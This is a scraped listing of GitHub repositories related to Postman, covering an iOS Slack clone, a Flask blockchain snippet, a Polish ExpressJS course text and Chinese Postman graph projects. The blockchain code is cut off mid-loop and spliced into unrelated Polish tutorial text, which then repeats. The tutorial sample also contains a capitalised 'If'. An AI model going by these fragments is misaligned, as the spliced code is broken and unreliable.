application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
akanuragkumar/postman
data, developing, sets 		This Application can Listen to the Incoming GSM Events in Android Handsets and Automatically forwards those Events to the Configured API in the App,It Could be made Usefull for developing Apps that want to LIsten to Phones GSM Data and forward those data to some Web based Application. 0 stars 0 watchers 0 forks
geekyanurag/Web-Services
api blueprint, asyncapi, client, creation, json schema, mysql, oauth, openid, sets, sql 		Rest api creation for 3 sets of api's using php and mysql and used postman as client. 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
Heintzdm/SCM_API_Library
data, dump, including, library, progress, sets 		A work in progress library of SpringCM API calls in Postman. This JSON is data dump including Collections, Globals( w/out keys/ids), and Header Presets 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
nikitaphopse/django_customer_base_project
action, application, backend, behaviour, customer, data, database, default, django, environment, fields, filter, image, list, method, permissions, proving, query, relationship, search, security, sets, token, upload, verb, verbs, version, versions 		We will create a full project ( Customer Base ) with all database relationships, image upload and full control on what is happening behind the scenes. Introduction Preparing the environment Creating the base of the application ( Customer base app ) Setup of the Django Rest Framework Exposing an API for the Customer Endpoint Consuming this API with Google Chrome and Postman Creating the Endpoint for the all entities Personalizing the get_queryset method to provide a list of Customers with filters Override of the behaviour for the defaults HTTP verbs (Get, Post, Put, Patch, Delete ) Creating custom actions Using query strings Filtering querysets with DjangoFilter backend Enabling API search Custom lookup field Improving the API security with Tokens Custom permissions per token Nested relationships OneToOne ForeignKey ManyToMany Types of Serializers Nested serializers Function fields Types of ViewSets Enabling Pagination on your API Deploy on Heroku Updating versions of the application after deploy on Heroku 0 stars 0 watchers 0 forks
qbicsoftware/postman-core-lib
data, dataset, download, file, files, sets, software, util, utilities 		Core libraries providing utilities for the download of OpenBIS files and datasets 0 stars 0 watchers 0 forks

graph (12 listings) (Back to Top)

microsoftgraph/microsoftgraph-postman-collections
collection, collections, description, graph, microsoft, script 		No description available. 130 stars 130 watchers 43 forks
SiddharthaChowdhury/full-stack-auth
auth, babel, graph, jest, mongo, node, react, route, router, script, type, types, typescript 		react.js, node.js, typescript, babel, webpack, graphQL, REST, mongoDB, jest, react-router, postman 5 stars 5 watchers 0 forks
JoseJPR/tutorial-fastify-graphql-pouchdb
fastify, graph, graphql, pouchdb, tutorial 		🐙 Tutorial and Examples of how to work with Fastify, GraphQL and PouchDB. Working via REST API and GraphQL API with Postman and GraphiQL. 1 stars 1 watchers 0 forks
opentable/falcor-postman
active, browser, graph, graphical, interactive, queries 		A graphical interactive in-browser IDE to validate Falcor queries. 0 stars 0 watchers 2 forks
BenGoodwin25/graph
graph 		PW4 Project: Eulerian Circuit and Chinese Postman 0 stars 0 watchers 0 forks
bhanukandregula/microsoft-graph-bookings-apis
book, booking, collection, customer, customers, graph, insight, managing, microsoft 		Microsoft Bookings is for small and mid scale industries for managing appointments from the customers. This repo will give you a flexibility to use all the possible APIs that comes with Microsoft Bookings with NODE JS. It also consists of the Postman collection to give a quick try and understand its insights. 0 stars 0 watchers 0 forks
Davidnet/Chinese-Postman
graph, solution 		Chinese Postman solution on an undirected graph 0 stars 0 watchers 0 forks
luizclr/PostmanJs
data, graph, progress, search, struct, structure 		🚧 work in progress... 📬 A postman searching for the best way to work using a graph data structure in JavaScript. 0 stars 0 watchers 0 forks
maraigue/cpp-chinese-postman
chinese, graph 		Solving "Chinese Postman Problem" with boost.graph and GLPK 0 stars 0 watchers 0 forks
postmanlabs/graphql-to-postman
